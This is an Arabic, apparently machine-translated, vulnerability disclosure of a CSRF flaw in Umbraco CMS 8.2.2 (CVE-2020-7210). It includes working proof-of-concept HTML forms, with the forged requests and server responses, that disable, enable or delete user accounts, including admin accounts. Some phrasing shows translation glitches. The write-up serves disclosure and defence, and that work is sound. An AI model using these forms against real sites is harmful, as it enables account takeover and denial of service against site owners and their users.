CSRF في Umbraco CMS

يمكن استخدام تزوير الطلبات عبر المواقع لتقديم طلبات ويب عشوائية إلى نظام إدارة محتوى Umbraco CMS وتحديد مستخدميها دون علمهم. يتطلب مثل هذا الهجوم دائمًا التفاعل مع المستخدم ، ولكن كقاعدة عامة ، يكفي أن يتبع الضحية رابطًا تم إعداده خصيصًا أو زيارة صفحة ويب تحت سيطرة المهاجم. هذا يجعل من الممكن تنشيط أو إلغاء تنشيط أو حذف حسابات المستخدم بالكامل. ونتيجة لذلك ، هناك تهديد بهجمات DoS على الحسابات.



خلفية


خلال اختبار اختراق الموارد الصغيرة تم اكتشاف CSRF -uyazvimost في وقت جديد في Umbraco CMS. سمحت هذه الثغرة بتنشيط حسابات المستخدمين أو إلغاء تنشيطها أو حذفها بالكامل ، بما في ذلك تلك التي تتمتع بامتيازات إدارية.

على الرغم من حقيقة أنه في أحدث تقرير OWASP العشرة 2017 ، تركت نقاط الضعف في CSRF قائمة العشرة الأكثر أهمية ، فمن السابق لأوانه استبعادها.

تم اختبار الثغرة الأمنية في الإصدار 8.2.2 ؛ في الإصدار 8.5 ، تم إصلاحه بالفعل ، ولكن من المحتمل أن تظل الإصدارات الأخرى السابقة له عرضة للاختراق. نوصي مستخدمي هذا المنتج بشدة بالترقية على الفور إلى أحدث إصدار متاح.

إثبات المفهوم


في حالة حدوث هجوم حقيقي ، سيتم وضع مستند HTML التالي على موقع ويب ضار يتحكم فيه مهاجم.

مثال 1: HTML لتعطيل مستخدم


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

طلب يتم إرساله إلى الخادم نيابة عن الضحية:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

الرد الوارد من الخادم:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}

مثال 2: HTML لتمكين المستخدم


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

تحقيق:

POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

إجابة:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

مثال 3: HTML لحذف مستخدم


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

تحقيق:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

إجابة:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}


يتلقى الضحية ردًا من الخادم بتنسيق JSON (شاشة قابلة للنقر).

بمجرد أن يقوم الضحية المصدق (المسؤول) بزيارة موقع ويب يحتوي على HTML خبيث مضمن ، يبدأ المحتوى الضار النشط في التنفيذ في سياق جلسة الضحية. على الرغم من أن الإجابات على هذه الطلبات لا يتم تسليمها إلى المهاجم ، إلا أنه في كثير من الحالات سيكون كافياً بالنسبة له أن يعرض سلامة معلومات الضحية المخزنة على الموقع للخطر ، أو أن ينفذ طلبات مخالفة محتملة لمواقع أخرى.

بدلا من الاستنتاج


على الرغم من أن المزيد والمزيد من الهجمات قد انتقلت مؤخرًا إلى جانب الخادم من جانب العميل ، إلا أنها لا تزال بحاجة إلى الاهتمام الواجب. بعد التحدث مع العميل ، اتصلنا بسرعة ببائع منتج البرنامج وتلقينا معلومات حول التصحيح. تم تعيين الضعف مؤشر CVE-2020-7210. أعترف ، بصفتي كبطل ، هذه هي نقطة الضعف الأولى التي تتلقى مؤشر CVE.

Source: https://habr.com/ru/post/undefined/


All Articles